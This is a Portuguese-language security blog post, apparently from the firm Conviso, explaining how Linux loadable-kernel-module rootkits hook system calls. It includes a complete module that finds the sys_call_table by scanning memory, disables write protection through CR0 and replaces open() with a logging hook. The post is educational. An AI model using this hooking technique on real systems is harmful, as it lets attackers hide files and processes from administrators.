Suas aplicações são seguras?

Conheça a Conviso!

Linux Rootkits: Hooking syscalls

Rootkit

Introdução

Rootkits[1] são programas tipicamente maliciosos que visam ficar ocultos no sistema, designados geralmente para esconder a existência de certos processos e/ou programas dos métodos normais de detecção ou permitir acesso privilegiado ao sistema.
O termo rootkit é a concatenação de “root”, tradicionalmente o nome da conta privilegiada no sistema operacional UNIX e a palavra “kit”, que se refere aos componentes de software que foram implementados na ferramenta.

LKM Rootkits

Loadable Kernel Modules(LKM) são módulos utilizados para expandir as funcionalidades e que podem ser carregados dinamicamente sem a necessidade de recompilação do kernel, são geralmente drivers, filesystems ou system calls.
LKM Rootkits são módulos de kernel que funcionam geralmente ‘hookando'(sequestrando) system calls, esta técnica foi popularizada em 1999 quando o grupo The Hackers Choice(THC) publicou um artigo que ficou conhecido como LKM HACKING[2].
Hookando syscalls um atacante pode esconder arquivos, diretórios ou processos, monitorar operações de arquivos etc.

LKM Rootkit para o kernel linux atual

Houveram muitas mudanças no kernel linux desde a publicação do artigo LKM HACKING do grupo THC, isso afeta como os rootkits são escritos, então para escrever rootkits para os kernels atuais devemos atentar para estas modificações.

Implementando, o que mudou?

A partir do kernel linux 2.6 em diante, temos que atentar que:

  • Syscall table não é exportada -> Para hookarmos alguma syscall temos que encontrar o endereço da syscall table na área de memória do kernel
  • Syscall table não possui permissão de escrita -> Para hookarmos a syscall temos que alterar o endereço da syscall na syscall table, para isso precisamos modificar a permissão da mesma

Obs: Os testes foram realizados no kernel linux 4.4.0

Achando a syscall table

Para hookar uma determinada syscall precisamos mudar o endereço da syscall na sys_call_table. Antes do kernel linux 2.6 o endereço da syscall table costumava ser exportado, agora não é mais, então precisamos encontrá-lo. Uma maneira de fazer isto é olhar no arquivo System.map.

	# grep sys_call_table /boot/System.map-4.4.0-22-generic 
	c17ac180 R sys_call_table
	

Achando a syscall table dinamicamente

Olhar o System.map e encontrar o endereço da syscall table, para então modificar o código fonte do rootkit em cada compilação de kernel não é muito pratico.
Para solucionar este problema podemos encontrar o endereço da syscall table dinamicamente, isso pode ser feito buscando por uma determinada syscall na área de memória do kernel, vejamos como[3]:

	unsigned long *
	get_syscall_table_bf(void)
	{
		unsigned long *syscall_table;
		unsigned long int i;

		for (i = START_MEM; i < END_MEM; i += sizeof(void *)) {
			syscall_table = (unsigned long *)i;

			if (syscall_table[__NR_close] == (unsigned long)sys_close)
				return syscall_table;
		}
		return NULL;
	}
	

Permissões

Como já dito, para hookar uma syscall precisamos alterar o endereço da syscall na sys_call_table, a partir do kernel linux 2.6 a sys_call_table não possui permissão de escrita, isso significa que temos que mudar as permissões da área de memória, podemos fazer isto utilizando write_cr0().

	static inline void
	protect_memory(void)
	{
		write_cr0(cr0);
	}

	static inline void
	unprotect_memory(void)
	{
		write_cr0(cr0 & ~0x00010000);
	}
	

Hookando uma syscall

Após encontrar o endereço da sys_call_table e alterar as permissões, podemos hookar alguma syscall.
Para isso, basta modificar o endereço da syscall desejada na sys_call_table para o endereço da nossa syscall, mas antes precisamos salvar o endereço original da syscall, para podermos restaurá-la ao remover o módulo e também para utilizarmos a syscall em nossa syscall modificada, vejamos como isso ficaria:

	    sys_call_table = (unsigned long *)get_syscall_table_bf();
	 
	    if (!sys_call_table) {
		printk(KERN_INFO "sys_call_table not fount");
		return -1;
	    }
	 
	    cr0 = read_cr0();
	 
	    orig_open = (orig_open_t)sys_call_table[__NR_open];
	 
	    unprotect_memory();
	    sys_call_table[__NR_open] = (unsigned long)hacked_open;
	    protect_memory();
	 
	

Agora vejamos um o exemplo de uma syscall open() modificada:

	asmlinkage static int
	hacked_open(const char __user *pathname, int flags, mode_t mode)
	{
		printk(KERN_INFO "sys_open() hook!\n");
		return orig_open(pathname, flags, mode);
	}
	

No exemplo acima, toda vez que a syscall open for chamada, na verdade quem será executada é a hacked_open. A hacked_open executa um printk com a mensagem “sys_open() hook!” e retorna chamando a syscall open original.

Colocando tudo junto

Vejamos o código completo[4]:

	#include <linux/module.h>
	#include <linux/kernel.h>
	#include <linux/unistd.h>
	#include <asm/pgtable.h>
	#include <linux/slab.h>
	#include <linux/syscalls.h>

	unsigned long cr0;
	static unsigned long *sys_call_table;
	typedef asmlinkage long (*orig_open_t)(const char *, int, mode_t);
	orig_open_t orig_open;

	#define START_MEM	PAGE_OFFSET
	#define END_MEM		ULONG_MAX

	unsigned long *
	get_syscall_table_bf(void)
	{
		unsigned long *syscall_table;
		unsigned long int i;

		for (i = START_MEM; i < END_MEM; i += sizeof(void *)) {
			syscall_table = (unsigned long *)i;

			if (syscall_table[__NR_close] == (unsigned long)sys_close)
				return syscall_table;
		}
		return NULL;
	}

	/* sys_open hook */
	asmlinkage static int
	hacked_open(const char __user *pathname, int flags, mode_t mode)
	{
		printk(KERN_INFO "sys_open() hook!\n");
		return orig_open(pathname, flags, mode);
	}

	static inline void
	protect_memory(void)
	{
		write_cr0(cr0);
	}

	static inline void
	unprotect_memory(void)
	{
		write_cr0(cr0 & ~0x00010000);
	}

	static int __init
	syshook_init(void)
	{

		sys_call_table = (unsigned long *)get_syscall_table_bf();

		if (!sys_call_table) {
			printk(KERN_INFO "sys_call_table not fount");
			return -1;
		}

		cr0 = read_cr0();

		orig_open = (orig_open_t)sys_call_table[__NR_open];

		unprotect_memory();
		sys_call_table[__NR_open] = (unsigned long)hacked_open;
		protect_memory();


		return 0;
	}

	static void __exit
	syshook_cleanup(void)
	{
		if (orig_open) {
			unprotect_memory();
			sys_call_table[__NR_open] = (unsigned long)orig_open;
			protect_memory();
		}

	}

	module_init(syshook_init);
	module_exit(syshook_cleanup);

	MODULE_LICENSE("Dual BSD/GPL");
	MODULE_AUTHOR("Victor Ramos Mello");
	MODULE_DESCRIPTION("A sys_call_table hooking example");
	

Após o hooking da syscall, sempre que a syscall open for chamada a menssagem “sys_open() hook!” poderá ser vista ao rodar o comando dmesg.

Conlusão

Hooking de syscalls através de LKM Rootkits ainda é uma ameaça real para a segurança dos sistemas, podendo ser utilizado por atacantes desde que levem em consideração as mudanças do kernel linux ao longo do tempo.

Referências

Deixe uma resposta

Seu endereço de e-mail não será publicado.

topo